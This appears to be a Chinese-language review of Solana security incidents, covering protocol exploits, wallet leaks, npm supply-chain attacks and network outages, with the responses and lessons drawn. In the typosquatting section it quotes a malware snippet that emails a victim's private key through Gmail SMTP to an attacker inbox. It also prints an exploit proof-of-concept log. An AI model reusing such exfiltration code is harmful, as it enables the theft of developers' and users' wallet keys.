攻击者使用了一些指令来增加 need_take_pc 和 need_take_coin 的余额,而不需要任何交易量,这使得他们可以更改和增加预期的费用,然后通过 withdrawPNL 反复从池子 vault 中提取资金。
大约 440 万美元的流动性提供者(LP)资金被盗,来自各种 Raydium 池子。向 Raydium 提供代币的 LP 发现他们的一部分资金丢失了(被攻击者作为“费用”拿走)。
这是首批重大的 Solana 密钥泄露利用事件 之一,它突出了与典型合约漏洞不同的向量。它还与 FTX 崩溃后对密钥管理(Serum DEX 具有类似的密钥风险,尽管那里没有发生黑客攻击;它通过将 Serum 分叉到 OpenBook 来主动缓解)的更广泛担忧相吻合。
Raydium 积极且透明。12 月 16 日,他们立即宣布了漏洞利用并冻结了 admin 密钥(幸运的是,他们有能力撤销旧密钥或至少阻止进一步的 admin 操作)。他们与 Solana 验证者和交易所协调,以跟踪并可能冻结被盗资金(尽管其中大部分通过 Tornado Cash 在 Ethereum 上进行了洗钱)。
几天之内,Raydium 在 Medium 上发布了一份详细的事后分析报告,并提出了一个赔偿提案,该提案已获得通过。到 2023 年初,LP 获得了部分补偿,一部分来自 Raydium 自己的储备,一部分来自 DAO 金库的分配。
到 2023 年初,LP 获得了部分补偿,一部分来自 Raydium 自己的储备,一部分来自 DAO 金库的分配。
该团队还要求攻击者归还被利用的资金,并提供 10% 作为白帽漏洞赏金。
Raydium 团队转移到 多重签名 进行 admin 控制——没有一个密钥可以单方面提取资金。他们可能还添加了一个合约升级,将费用提取金额硬性限制为正确的公式,因此即使是未来的密钥泄露也无法提取流动性本身。
许多 Solana 项目都注意到了这一点,并迁移到多重签名(通过 Squads 等程序)以进行升级和 admin 密钥管理。
Raydium 的黑客事件突出了操作安全性:即使你的智能合约是安全的,admin 钱包的黑客攻击也可能破坏一切。项目学会了消除或严格限制已部署合约中的 admin 权限(倾向于不可变代码或时间锁定的治理控制)。
如果 admin 功能是必要的(用于升级或紧急情况),则使用 多重签名和 2FA/YubiKeys 进行密钥管理。对于用户而言,这是一个提醒,即使是高 TVL 平台也存在智能合约和 admin 密钥风险,这并非总是显而易见的。
这也属于广义的 供应链攻击,因为外部泄露(木马)渗透到项目的“供应链”(开发环境)中。总而言之,Raydium 的黑客事件教会了 Solana DeFi 像对待生产代码一样谨慎对待私钥,并设计合约以最大限度地减少密钥泄露的影响(例如,提款速率限制或大型操作的多重签名确认)。
2023 年 8 月,基于 Solana 的去中心化期货和借贷平台 Cypher 协议 遭到攻击,损失 约 100 万美元。该团队立即冻结了智能合约,并在接下来的几周内。
该漏洞最初看起来像是一个典型的 DeFi 黑客攻击(资金通过智能合约漏洞被提取)。
攻击者 通过利用真实数据和缓存数据之间的不一致来欺骗系统,并且由于价格波动系统未激活,因此检查无效——导致他们借入超过他们应该被允许的金额。
Cypher 漏洞利用,2023 年 8 月 8 日公开报告
攻击按以下步骤进行:
Cypher 使用两种类型的用户账户:
有两种保证金模式:
问题始于切换到隔离保证金时。当用户将子账户切换到隔离保证金时,子账户已更新,但主账户缓存未完全更新。这导致了真实状态和缓存状态之间的差异。
然后出现了第二个问题: 当资产价格变得不稳定时,保证金检查应该使用波动抵押率。但是由于检测波动的预言机馈送未激活,因此波动率始终为 0。
影响
这些漏洞使攻击者能够获得不良贷款,并使该协议背负超过 100 万美元 的坏账。
应对
Cypher 立即冻结了其智能合约。Cypher 在 Twitter 上宣布了该漏洞利用,并聘请了 OtterSec 和其他审计人员来审查日志。 在接下来的几天里,他们跟踪资金并试图与攻击者展开对话。
到 8 月下旬,Cypher 启动了一个 恢复门户,供受害者按比例分享剩余的金库资金和任何已收回的资产。他们设法收回了一部分(可能来自内部人员或通过白帽帮助)。
用户最终获得了部分补偿。Cypher 的协议仍然处于离线状态,本质上处于解决模式。
补救措施:
鉴于 Cypher 的状态,补救措施的重点是用户补偿而不是重新启动。截至 2025 年 4 月,该团队尚未在 Solana 上重新启动 Cypher,因此此事件可作为学习参考。
经验教训
对于类似协议而言,更广泛的教训是让多个审查员审查所有代码更改。
总而言之,Cypher 的漏洞利用规模不大,但包含丰富的警示元素:需要强大的代码审查、适当的缓存管理和积极的风险监控系统。内部威胁的可能性也凸显了操作安全性和适当的访问控制的重要性,即使在受信任的开发团队中也是如此。
基于 Solana 的 meme 币LaunchPad Pump.fun 宣布,一名前员工利用其“特权地位”访问“提取权限”并挪用了大约 12,300 SOL,当时价值约为 190 万美元。
为了防止进一步的损失,Pump.fun 停止了交易并更新了合约。这种混乱的情况将漏洞利用与潜在的内部不当行为结合在一起。
一位攻击者,使用钱包地址 7ihN8QaTfNoDTRTQGULCzbUT3PHwPDTu5Brcu4iT2paP,在几分钟内购买了该平台上所有新项目的所有代币,从而利用 Pumpfun。
这使绑定曲线填充到 100%。攻击者显然使用了来自 Margin.fi 的闪电贷来获取 SOL 并购买代币,而没有实际使用他们自己的 SOL。
通过迅速将代币供应绑定到 100%,攻击者阻止了代币按计划在 Raydium DEX 上上市。
然后,他们从 pump.fun 中提取流动性——只有 “admin” 应该能够做到(这些资金应该用于创建 Raydium 市场)并偿还闪电贷。
无论哪种情况,根本原因都是部分技术性和部分人为因素。它强调了开发者信任和密钥管理的问题——内部团队成员通常拥有广泛的访问权限(例如,部署者权限),如果被滥用,则很难阻止。
影响
在总共 4500 万美元的流动性中,大约 190 万美元受到了影响
应对
Pump.fun 在 X 上的一篇文章中表示,它“意识到”合约已受到破坏,并且正在调查。
“我们已经升级了合约,因此攻击者无法再提取任何资金。目前协议中的 TVL 是安全的,”该团队表示。“我们已经暂停了交易——你目前无法购买和出售任何代币。目前正在迁移到 Raydium 的任何代币都无法交易,并且将在无限期的时间内不会迁移。”
补救措施
然后,Pump.fun 团队重新部署了合约,并在接下来的七天内恢复了 0% 费用的交易。
经验教训
Pumpfun 的漏洞利用突出了一个被忽视的方面:DeFi 中的 内部风险。虽然大多数黑客攻击都来自外部,但这向社区表明,内部人员也可以利用系统。
但是,对于类似协议而言,更广泛的教训是加强 内部控制:让多个审查员审查所有代码更改,使用多重签名进行部署,并监控开发人员的活动。
白帽黑客发现 Time.fun(一个基于 Solana 的平台)中的一个严重漏洞,该漏洞允许潜在的攻击者窃取所有交易费用并修改该平台上启动的每个代币的元数据。安全研究人员( @shoucccc 和 @tonykebot)来自 SoLayer 的工程师识别并负责任地披露了该问题,进行了一次白帽黑客攻击,以证明其严重性,然后才归还所有资金。该漏洞的核心是后端签名滥用,这可能导致重大损失。
Time.fun 为每个新用户提供一个专用钱包来存入 USDC 进行交易,用户的私钥由第三方提供商安全地存储。为了支付 gas 费用并实现无缝交互,一个特定的平台钱包(“HW2C…Lo1H”)被设计为与用户的钱包签名一起签署每笔交易。
研究人员发现,这个相同的钱包还拥有 Time.fun 启动的所有代币。由于此钱包是交易的必需签名者,因此如果攻击者可以诱使后端签署任意数据,则他们可以代表“HW2C…Lo1H”行事。
该漏洞利用的工作原理是伪造一个代币,该代币会欺骗后端,使其认为它正在签署一项合法的交易,而实际上它正在签署允许攻击者执行以下操作的数据:
根本原因是交易签名架构中的一个根本设计缺陷。Time.fun 后端正在盲目地签署由前端构建的交易,而没有充分验证实际签署的内容。这导致了以下情况:
尽管已经到位了验证或模拟检查,但可以通过模糊交易或捆绑/抢先交易来更改其语义来绕过这些安全措施。
虽然由于白帽披露而没有实际的资金损失,但该漏洞危及了:
如果此漏洞被恶意利用,则可能造成的财务和声誉损失将是巨大的。
白帽黑客通过在该平台本身上购买创始人 1 分钟的时间来联系 Time.fun 团队。与此同时,他们进行了一次受控的黑客攻击来证明该漏洞。该团队迅速做出回应,承认了该问题并实施了修复。安全研究人员归还了他们在概念验证期间访问的所有资金。
Time.fun 在收到通知后立即解决了该漏洞。虽然修复的具体技术细节尚未披露,但适当的补救措施可能包括:
此事件表明,未经彻底验证,后端绝不应签署来自前端的交易,因为可以通过交易模糊来绕过模拟检查。
关键基础设施需要严格区分处理用户交易的钱包和控制平台资产的钱包。Solana dApp 必须在签名之前实施全面的交易验证,尤其是在涉及资金或元数据更改的操作方面。
Time.fun 漏洞表明,无论其他保护措施如何,架构缺陷都会破坏安全性。所有 Solana 项目都应定期审核其签名架构,假设组件可能会受到破坏,并设计系统以限制任何单点故障造成的潜在损害。
上述事件代表了截至 2025 年 4 月 Solana 上发生的主要应用层漏洞利用。总的来说,这些漏洞利用造成的损失超过 4.31 亿美元,其中 Wormhole 和 Mango 的漏洞利用是最大的。值得注意的是,由于谈判或干预,其中一些事件有部分资金追回(Crema、Mango、Raydium、Cypher),这是 2022-2023 年的一个趋势。尽管如此,Solana 上的 DeFi 显然已成为一个安全战场,推动了审计、链上监控和协议设计方面的许多改进。
供应链攻击的目标是区块链周围更广泛的生态系统——钱包、库、开发者工具——而不是直接针对链上程序。
在 Solana 的历史中,一些值得注意的事件属于此处,其中第三方软件或流程中的漏洞导致用户密钥或 dApp 安全性受到破坏。
2021 年 6 月 5 日,Neodyme 的审计人员发现了 Solana 的代币借贷程序(Solana 程序库,SPL 的一部分)中的一个严重漏洞。该程序被多个借贷平台(Solend、Larix、Tulip 等)用于其核心借贷逻辑。
该 Bug——一个微妙的数学错误——可能允许攻击者通过反复借出少量资金并提取四舍五入的较大金额来“窃取”借贷池中的资金。大约 26 亿美元 的资产面临跨协议的风险。幸运的是,白帽首先发现了它;没有恶意利用。Neodyme 于 2021 年 12 月进行了协调披露。
Neodyme 博客:如何一次赚 0.000001 BTC 成为百万富翁
该 Bug 本质上是代币转换中的舍入误差。当用户存入代币以获得计息 cToken 时,有缺陷的计算可能会记入比应有的更多的 cToken(由于整数舍入)。
以下是该 Bug 的核心,简化为最简单的形式:
它应该如何工作:
Bug 存在的位置:
为什么它很重要:
将其做大:
几个月前已注意到一个初始 GitHub 问题,但在 Neodyme 深入挖掘之前,其严重性未被识别。
Github:token-lending:Reserve::deposit_liquidity 和 Reserve::redeem_collateral 中的舍入可用于窃取代币 #1869
金融数学中的浮点精度/舍入 Bug——本质上是一个下溢,让价值累积到攻击者。它类似于历史上的 Ethereum Bug,其中精度错误(例如,在 Bancor 的早期合约中)允许价值创造。
该问题已被标记,但未被优先考虑。当时,它可能被视为 “哦,不,偷一个代币,由于交易费用,这在经济上不可行”。
Neodyme 通过创建一个概念验证证明了该漏洞是可行的,该概念验证演示了在他们本地区块链状态副本上的一次交易中窃取 0.000001 BTC。
Loading upgradable program So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo from cluster
Loading account DMCvGv1fS5rMcAvEDPDDBawPqbDRSzJh2Bo6qXCmgJkR from cluster
Loading account 4UpD2fh7xH3VP9QQaXtsS1YY3bxzWhtfpks7FatyKvdY from cluster
Loading account GYzjMCXTDue12eUGKKWAqtF5jcBYNmewr6Db6LaguEaX from cluster
Loading account Gqu3TFmJXfnfSX84kqbZ5u9JjSBVoesaHjfTsaPjRSnZ from cluster
Loading account 9HrQ9RuRsHjKXuAbZzMHMrYuyq62LjY3B7EBWkM4Uyke from cluster
Loading account 9n4nbM75f5Ui33ZbPYXn59EwSgE8CGsHtAeTH5YFeJ9E from cluster
Loading account 4jkyJVWQm8NUkiJFJQx6ZJQhfKLGpeZsNrXoT4bAPrRv from cluster
Loading account GVXRSBjFk6e6J3NbVPXohDJetcTjaeeuykUpbQF8UoMU from cluster
Loading account 74YzQPGUT9VnjrBz8MuyDLKgKpbDqGot5xZJvTtMi6Ng from cluster
Loading account 9CjhBpwiQbP2zYnj7PqHTxPPp2BCR4Y4rP4ZPWkqrCQk from cluster
Amount before: 10 BTC
Using 0.328 BTC
Amount after: 10.000001 BTC
来源:Neodyme 博客:如何一次赚 0.000001 BTC 成为百万富翁
Neodyme 通过一个开放的 pull request 解决了该问题,该请求将所有 round
操作替换为 floor
操作。这可以防止你得到的代币数量大于你投入的代币数量,除非 ctoken
升值(这是预期的行为)。
该团队向 Solana 基金会和 Solend(借贷程序最突出的用户)报告了该漏洞。
由于 SPL-token-lending 仅通过 fork 使用,因此他们需要发现还有谁可能存在漏洞。他们编写了链上工具,扫描所有最近活跃的类似原始借贷合约的程序,并确定了六个候选者:Larix、Tulip、Port、Solend、Soda 和 Acumen。
Larix 7Zb1bGi32pfsrBkzWdqd4dFhUXwp5Nybr1zuaEwN34hy
Tulip 4bcFeLv4nydFrsZqV5CgwCVrPhkQKsXtzfy2KyMz7ozM
Port Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR
Solend So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo
Soda Soda111Jv27so2PRBd6ofRptC6dKxosdN5ByFhCcR3V
Acumen C64kTdg1Hzv5KoQmZrQRcm2Qz7PkxtFBgw7EpFhvYn8W
进一步的调查证实,只有 Solend(开源)和其他三个——Tulip、Larix 和 Port——fork 了易受攻击的代码。Soda 和 Acumen 是错误的线索,而 Jet 和 Apricot 等其他市场根本没有 fork 该代码。
该团队通过每个项目的官方安全渠道披露了该漏洞。Port 在几个月前已经向后移植了该修复程序,而 Solend、Tulip 和 Larix 在收到通知后立即修补了它们的 fork。
Neodyme 协调了一个模型响应。他们在 2021 年 12 月初秘密地警告了 Solana Labs 和受影响的项目。在 48 小时内,编写、测试并在整个网络范围内部署了补丁:“Solend 在 12 月 2 日 17:45 修复了该 Bug…… Tulip 在 22:40 修复了…… Larix 在 12 月 3 日修复了……修复程序在 12 月 4 日合并到上游”。这种非常快速的修复(每个项目在联系后的几个小时内都进行了修补)是可能的,因为该漏洞存在于一个共享的 SPL 库中——Solana 核心开发者发布了一个修复程序,项目迅速升级。
在此期间,没有用户损失资金。2021 年 12 月 3 日,Neodyme 发布了一份详细的 事后分析报告 “如何一次赚 0.000001 BTC 成为百万富翁”, 一旦所有平台都安全。
虽然没有资金被盗,但潜在的影响是巨大的——估计 Solana 借贷协议中面临风险的 TVL 为 26 亿美元。如果被利用,攻击者可能会耗尽许多池中的流动性(Solend、Larix 等),导致这些平台资不抵债。该发现可能阻止了 Solana DeFi 早期发生的灾难性的数十亿美元黑客攻击。
此事件强调了审计公共库的重要性。许多 Solana DeFi 项目都假设 SPL 合约经过实战考验;在此之后,Solend 等项目增加了他们自己对第三方代码的测试。它还证明了协调披露的有效性——悄悄地进行,它可以防止大规模恐慌或白帽和黑帽之间的竞争。社区意识到,虽然 Solana 的运行时是安全的(内存安全的 Rust),但金融数学中的逻辑 Bug 仍然可能发生,并且如果没有仔细的形式分析,可能更难发现。这促使 Solana 生态系统中进行了更严格的审计(随后聘请了 Kudelski、OtterSec、Trail of Bits 等公司对关键程序进行审计)。
2022 年 8 月初,超过 9,214 个 Solana 钱包(主要是 Slope 和一些 Phantom 钱包)在一个大规模攻击中神秘地被耗尽了资金。用户看到 SOL 和 SPL 代币从他们的钱包中消失,没有任何互动。
该漏洞源于 Slope Finance 钱包应用程序中的 供应链故障:Slope 的移动钱包无意中将用户的秘密恢复短语以纯文本形式记录到外部服务器 (Sentry) 中。
攻击者获得了这些日志,从而获得了私钥,使他们能够直接从用户钱包中窃取约450 万美元。这不是区块链协议黑客攻击,而是客户端泄露——本质上是按用户数量计算的最大的加密钱包泄露事件之一。
Solana 钱包提供商 Slope Wallet 在其应用程序中使用了一种名为 Sentry 的错误跟踪服务。Sentry 配置不正确:它正在捕获敏感数据。
具体来说,每当用户创建或导入钱包时,该应用程序都会将纯文本种子短语和私钥作为错误日志记录的一部分发送到 Sentry 的服务器。这些日志未经加密就存储起来了,显然 Slope 没有正确限制访问。攻击者要么侵入了 Sentry,要么通过代理拦截了日志。
一旦掌握了用户的种子短语,攻击者只需使用它们来派生私钥,并在大约 7 小时的时间内系统地耗尽钱包。
该攻击技术不需要链上漏洞利用——它纯粹是密钥盗窃。它主要影响了 Slope 用户(他们通过该应用程序暴露了他们的密钥)和一些以前将他们的种子导入 Slope(从而无意中暴露了它)的 Phantom 用户。
钱包开发人员的关键安全疏忽。根本原因是软件配置中的人为错误——未能禁用或过滤遥测中的敏感数据。这是一种典型的供应链漏洞:用户信任钱包应用程序以安全地处理他们的密钥,而 Slope 通过将密钥泄露给第三方服务背叛了这种信任。
攻击者的 “黑客” 本质上是找到这些密钥存储的位置 (Sentry) 并获取它们。这类似于服务器泄露——就像密码管理器不小心将所有密码以纯文本形式发送到云端一样。此事件还突出了闭源钱包软件的风险:当时,Slope 的代码没有经过社区的彻底审查,因此直到被利用之前,如此严重的错误才被注意到。
根据 SlowMist 分析,大约 9,214 个钱包 受到破坏,总共损失了 450 万美元 的 SOL、USSlope Finance 最终承认了他们的角色,声明有一部分钱包的详细信息被泄露。他们起初声称“没有确凿的证据”,但后来很明显 Slope 是罪魁祸首。
从技术性的事后分析(由社区驱动,因为 Slope 自身的透明度有限)中,我们了解到 Slope 关闭了 Sentry 日志并修复了应用程序以停止发送 seed phrases。像 OtterSec 和 SlowMist 这样的安全研究人员帮助进行了调查。Slope 悬赏给黑客以求归还(没有归还)
对于 Slope 来说,补救来得太晚了——损害已经造成。他们道歉并据报道聘请了安全专家来审核其代码库。但是用户的信心消失了;大多数人转移到了 Phantom、Solflare 或硬件钱包。Solana 社区从中吸取了教训:其他钱包迅速审核了他们的遥测设置。例如,Phantom 向用户保证它不会将 seed phrases 发送到任何地方,并进行了额外的审查以确认。
该事件引发了对开源钱包代码和钱包安全标准的更高呼声。到 2023 年,许多 Solana 钱包(包括最终的 Phantom)开源了他们的代码,以邀请社区审查。Solana 基金会还启动了安全资助计划,专门关注钱包安全改进(如 seed phrase 教育,更好的签名用户体验以避免其他问题)。
Slope 黑客事件证明,密钥管理是加密安全的最关键方面——即使是最安全的区块链,如果钱包软件泄露密钥,也会变得脆弱。
用户学会了避免在不同的钱包中重复使用 seed phrases,并对不太知名的钱包应用程序保持谨慎。对于开发者来说,最严峻的教训是永远不要记录敏感数据,并正确配置遥测服务。该事件突出了供应链漏洞(无论是疏忽还是恶意)如何损害钱包安全,这导致人们更加关注审核依赖项并在整个 Solana 生态系统中推广硬件钱包支持。
在软件开发中,供应链安全至关重要,特别是考虑到开源库的使用日益增多。著名的 @solana/web3.js npm 包卷入了一起严重的供应链安全事件,该事件于 2024 年 12 月 2 日影响了 Solana 社区。
https://www.npmjs.com/package/@solana/web3.js
这个库每周被下载超过 600,000 次,对于在 Solana 区块链上工作的开发者来说至关重要。该事件引起了人们对软件供应链中薄弱环节的关注,并强调了采取预防措施以保证安全的必要性。下面是该事件及其影响的摘要。
攻击影响了该软件包的 1.95.6 和 1.95.7 版本,并通过 npm 发布凭证的网络钓鱼式攻击发生。攻击者插入了一个名为 addToQueue 的后门函数,专门用于捕获和泄露用于签署交易和访问钱包的私钥。
The @Solana/web3.js Incident: Another Wake-Up Call for Supply Chain Security
恶意代码针对关键的加密操作,包括 Keypair.fromSecretKey 和 Keypair.fromSeed,这些操作通常在处理私钥时使用。受感染的软件包在 npm 上大约保留了五个小时,在此期间,任何更新到或全新安装这些版本的应用程序都可能暴露。
此事件的根本原因是针对对 @solana/web3.js 包具有发布权限的维护者的成功的社会工程攻击。攻击者采用了有针对性的网络钓鱼技术来破坏维护者的 npm 凭证,从而获得了发布恶意版本软件包的能力。
这代表了一次经典的供应链攻击,其中广泛分发的软件的完整性在其源头受到损害。
Helius Labs 的 CEO Mert Mumtaz 报告称,财务损失估计为 130,000 美元。Solana 团队的快速响应通过将受感染版本的下载窗口限制为仅五个小时来限制了损失。重要的是,该问题仅限于 JavaScript 客户端库,并未损害 Solana 区块链本身的安全性。
Mend.io 将此问题追踪为 MSC-2024–17462 和 MSC-2024–17463,向其客户发出受影响版本的警报。
Solana 团队发布了一个 CVE 配置文件来解决此问题。
Solana 基金会通过其 1.95.8 版本 升级删除了恶意代码。他们敦促开发者升级到 latest
版本。
建议怀疑自己可能受到损害的开发者轮换任何可疑的授权密钥,包括多重签名、程序授权、服务器密钥对等。
此事件强调了区块链安全扩展到智能合约之外,还包括整个开发供应链。软件包维护者应强制执行多因素身份验证和签名提交,而开发者应锁定确切的依赖项版本并验证软件包的完整性。相对受控制的损害表明了 Solana 生态系统中快速检测和响应能力的价值。
2025 年 1 月,安全研究人员发现了一场 npm 上的恶意软件包活动,专门针对 Solana 开发者。发现了几个域名抢注软件包,其中包含可以从开发者系统中窃取 Solana 钱包私钥并通过 Gmail SMTP 将其发送给攻击者的代码。
这是一个通过开发者工具进行 供应链攻击 的现代示例——通过诱骗开发者安装受感染的库,攻击者试图泄露机器上存在的任何 Solana 密钥(例如,测试或部署中使用的密钥)。
已识别的恶意软件包包括 @async-mutex/mutex
(模仿真实的互斥库)、dexscreener
(模仿 DEX 数据库)、solana-transaction-toolkit
、solana-stable-web-huks
(在 npm 上)和一个 PyPI 软件包 pycord-self
。前四个是专门针对 Solana 的:它们被构建为扫描受感染的系统以查找 Solana 私钥。
Gmail For Exfiltration: Malicious npm Packages Target Solana Private Keys and Drain Victims’ Wallets
他们可能通过搜索常见文件路径(例如,主目录中的 Solana 命令行界面密钥对文件)或拦截内存中 Solana 密钥对象的使用来实现这一点。一旦找到,恶意软件将通过 SMTP 将密钥(或 seed phrases)发送到攻击者的 Gmail,将泄露伪装成电子邮件流量。
值得注意的是,其中两个软件包更进一步:solana-transaction-toolkit
和 solana-stable-web-huks
不仅会窃取密钥,还会自动使用它们将最多 98% 的钱包资金耗尽到攻击者的地址。这种自动盗窃是狡猾的——留下 2% 可能是为了避免立即引起怀疑(因为空钱包是一个明显的危险信号)
const transporter = nodemailer.createTransport({
host: "smtp.gmail.com", // Using Gmail's SMTP server for exfiltration
port: 465, // SSL port to secure the connection
secure: true, // Enforces a secure connection (SSL/TLS)
auth: {
user: "vision.high.ever@gmail.com", // Attacker-controlled Gmail account
pass: "[redacted]", // Redacted hardcoded password
},
});
const sendEmail = async (privateKey) => {
// This function is responsible for sending the stolen private key via email
const email = {
from: "vision.high.ever@gmail.com",
to: "james.liu.vectorspace@gmail.com", // Attacker's inbox where stolen keys are collected
subject: "Hi, This is Dexscreener", // Deceptive subject referencing the malicious package name
text: privateKey, // The victim’s private key is inserted directly into the email body
};
await transporter.sendMail(email); // Sends the stolen data to the attacker's Gmail account
Gmail For Exfiltration: Malicious npm Packages Target Solana Private Keys and Drain Victims’ Wallets
这些软件包通过Hook到 Solana web3 函数或仅在导入时执行密钥窃取来实现此目的。整个攻击媒介依赖于开发者(甚至最终用户)在其项目或脚本中安装这些库,并认为它们是合法的。这是一种 社会工程 + 恶意软件 的组合。
重要的是,Solana 的区块链或官方工具中没有涉及任何特定的漏洞——攻击利用了错误(错别字)和对开源存储库的信任。
根本原因是 域名抢注和开放存储库信任 ——这是 npm 等生态系统中固有的风险。Solana 的代码中没有漏洞;相反,攻击者利用了人为错误(键入软件包名称或选择未经审查的库)。
它提醒我们,如果未沙盒化,在开发者环境中运行的任何代码都可能危及密钥。使用 Gmail SMTP 的特定设计很聪明,可以避免检测,因为它与正常的网络流量(发送电子邮件)混合在一起,并且 Gmail 是受信任的,因此可能会绕过某些防火墙。
这类似于其他生态系统中的攻击:例如,通过 DNS 或电子邮件将 AWS 密钥发送给攻击者的恶意 Python 软件包。它强调 Solana 的安全性不仅仅限于链上 - 它包括开发者实践。
由安全公司 Socket 于 2025 年 1 月发现,尚不清楚是否真的通过这些软件包窃取了任何资金,或者它们是否在造成重大损失之前被捕获。
公开披露表明,目的是对高价值目标(如 Solana 项目的开发者,他们可能在其系统上拥有部署者密钥)执行供应链攻击。
这是一个 预防性成功,因为社区在发生已知的重大事件之前收到了警报。如果未被发现,这可能会导致 Solana 项目或个人开发者钱包的隐秘违规行为。我们可以将其比作 event-stream npm 软件包事件(在以太坊生态系统中),其中一个依赖项受到损害,以在 2018 年针对 Copay 钱包。这似乎是 Solana 首次与针对它的恶意软件包发生重大遭遇。
Socket 的报告指出,这些软件包的下载量很少(尽管域名抢注通常会捕获一些),因此可能影响有限。但这在开发者社区中拉响了警报,要求仔细检查他们安装的内容。
发现后,恶意软件包已 从 npm 库中删除,并且 软件包名称已报告。像 npm 这样的平台拥有可以快速删除此类软件包的安全团队。Socket 发布了一篇博客文章,详细介绍了 IoC(入侵指标)——例如,使用的攻击者的 Solana 地址(被盗资金将转入)socket.dev — 以便任何过去的受害者都可以进行调查。
敦促开发者 轮换可能已安装在这些软件包的机器上的任何密钥,并更新依赖项。
在生态系统层面,提高知名度是关键。此后,Solana 开发者开始仔细检查软件包的真实性(例如,使用 npm audit
或 Socket 等服务来标记有风险的导入)。一些项目将依赖项锁定到已知的良好版本。被模仿的合法软件包(如 async-mutex
)的维护者添加了关键字或警告,以帮助开发者不上假货的当。
从长远来看,解决方案是采用 软件包签名和验证 ——npm 和 PyPI 正在努力实现这一目标。在此之前,仔细审查新库(星标、作者等)是最好的防御。
对于开发者来说:错误拼写可能是致命的! 一个拼写错误的依赖项,你的系统(和加密密钥)可能属于攻击者。此事件教会了开发者在其工作流程中加入 安全工具。例如,使用自动扫描程序来查找恶意模式(此处的恶意软件包是通过注意到它们访问 OS 密钥路径并使用 SMTP 来检测到的)。这也是 最小权限原则 的一个案例——开发者不应以纯文本形式将 mainnet 私钥保存在开发机器上。使用密钥管理器或隔离环境。
(值得一提的是:)虽然不是资金被盗的“事件”,但值得注意的是 2022 年 11 月 Serum DEX 密钥泄漏风险,因为它是一种供应链漏洞。Solana 上的中心化订单簿 DEX Serum 具有由 FTX 控制的升级授权。当 FTX 崩溃并遭到黑客攻击时,Serum 的密钥可能掌握在敌对势力手中。由于担心对 Serum 计划进行潜在的恶意升级,Solana 开发者先发制人地 将 Serum 分叉到 OpenBook 中,从而有效地消除了风险。此事件说明了中心化实体(对 FTX 的供应链信任)的崩溃如何对 Solana 的 DeFi 基础设施构成威胁,社区采取行动来缓解它。这里的教训是 避免 DeFi 程序的中心故障点(Serum 的密钥应该是多重签名,而不是与 CEX 一起使用)。此后,几乎所有主要的 Solana 程序都转向社区治理或多重签名进行控制。
供应链攻击,从 钱包安全漏洞 到 恶意库 和 密钥泄漏,都让 Solana 学到了很多东西。它们强化了以下概念:安全是端到端的:仅靠 Solana 的核心快速且安全是不够的,整个软件和依赖项生态系统都必须经过审查。随着 Solana 的发展,我们可以预期攻击者会继续探测较软的目标(用户端点,开发者工具)。社区的回应——提高钱包透明度、采用安全工具(如针对钱包的 Immunefi Bounty)以及教育开发者——对于加强这些最薄弱的环节至关重要。
核心协议问题是指 Solana 的 区块链软件或共识机制 存在缺陷,导致网络中断或潜在的共识失败(与个别 dApp 漏洞利用相反)的事件。Solana 作为一个新的 L1,具有新颖的历史证明 + 权益证明设计,在其早期经历过多次 网络停止和严重错误。以下是主要核心协议事件的按时间顺序的说明:
Solana 从 2020 年到 2024 年初至少经历了 11 次网络中断(部分或全部)。这些事件是指验证器网络停止(没有新区块),并且通常需要协调重启。我们将详细介绍最重要的几个:
改编自 Helius 博客:Solana 中断的完整历史:原因、修复和吸取的教训
我们重点关注那些已识别出明确技术原因的事件:
2020 年 12 月,Solana 网络经历了一次重大的中断,持续了大约六个小时,原因是 Solana 的块传播机制 Turbine 中的块传播错误。
故障并非来自外部攻击,而是由以前已知的块修复和代码处理问题意外触发引起的。中断停止了交易处理,并突出了网络早期在主网中潜在的共识挑战。
当验证器意外地为同一 slot number 传输两个不同的块并将它们传播到两个单独的网络分区(我们将其称为 A 和 B)时,触发了该事件。与此同时,第三个分区独立地检测到这种不一致。
由于这三个网络分区中的每一个仅持有总权益的少数,因此没有一个可以达到 Solana 取得链进展所需的超多数共识(权益的 80%)。网络基本上在此时陷入僵局。
根本问题在于 Solana 的内部数据结构如何跟踪块及其计算状态。该系统使用历史证明 (PoH) slot number(一个 u64 标识符)来引用该 slot 的状态和块。一旦网络分成几个分区,节点会将块 A 和 B 误解为相同,因为它们共享相同的 slot number,从而阻止了正确的修复和块同步。
这在网络中造成了根本性的冲突:
每个分区错误地认为其他分区具有相同的块(因为它们共享相同的 slot number),但是由于分区之间的实际状态转换不同,验证器无法修复或协调分叉,从而阻止了最终性。
根本原因是 Turbine 在同一 slot height 处理冲突块的方式存在设计缺陷。当验证器从对等方请求丢失的块时,它们使用 slot number 而不是块哈希作为标识符。这意味着节点无法识别它们何时收到了与给定 slot 期望值不同的块。
该系统缺乏检测同一 slot 中重复块的机制,无法将两个版本正确地传播给所有验证器,并允许共识解决应将哪个块作为规范。
在六小时的中断期间:
大部分停机时间都是由于等待足够的权益权重恢复联机以达到恢复块生产所需的 80% 阈值而造成的。
Solana 团队确定了该问题并在验证器网络中部署了一个修复程序。该响应涉及诊断确切的原因,创建一个用于处理冲突块的补丁,与验证器通信以更新软件,以及等待足够的权益权重以恢复共识。
此问题的补救措施是允许服务按哈希而不是 slot number 跟踪块。如果同一 slot 的任意数量的块创建分区,则它们与占用不同 slot 的块的分区的处理方式没有区别。节点将能够修复所有可能的分叉,并且共识将能够解决分区。
尽管该错误是中断的最初原因,但大部分停机时间都是由于等待足够的权益权重恢复联机而造成的,因为 Solana 需要至少 80% 的权益参与才能恢复块生产。
该事件突出了 Solana 开发的几个关键见解。块标识应依赖加密哈希而不是序列号,以防止歧义。协议必须具有针对网络分区的强大恢复机制,即使没有恶意活动。共识重启时间是一个关键指标——大多数停机时间是由于收集足够的权益权重而不是开发修复程序造成的。早期检测网络不一致对于防止全网中断至关重要。
此事件塑造了 Solana 应对网络弹性的方法,从而导致了更强大的块传播和修复机制。
2021 年 9 月 14 日,Solana 在 Grape Protocol 在 Raydium AcceleRaytor 上启动其链上初始 DEX 发行 (IDO) 后,经历了一次持续 17 小时的主要网络停止。在 IDO 的 12 分钟内,网络就被空前的机器人驱动事务涌入所淹没,并停止生成根 slot。这些 bot 有效地执行了分布式拒绝服务 (DDoS) 攻击,将事务负载推到了超出网络容量的水平。
改编自 Helius 博客:Solana 中断的完整历史:原因、修复和吸取的教训
问题是 资源耗尽 — 机器人用交易轰炸代币销售。Solana 面临 300,000 TPS
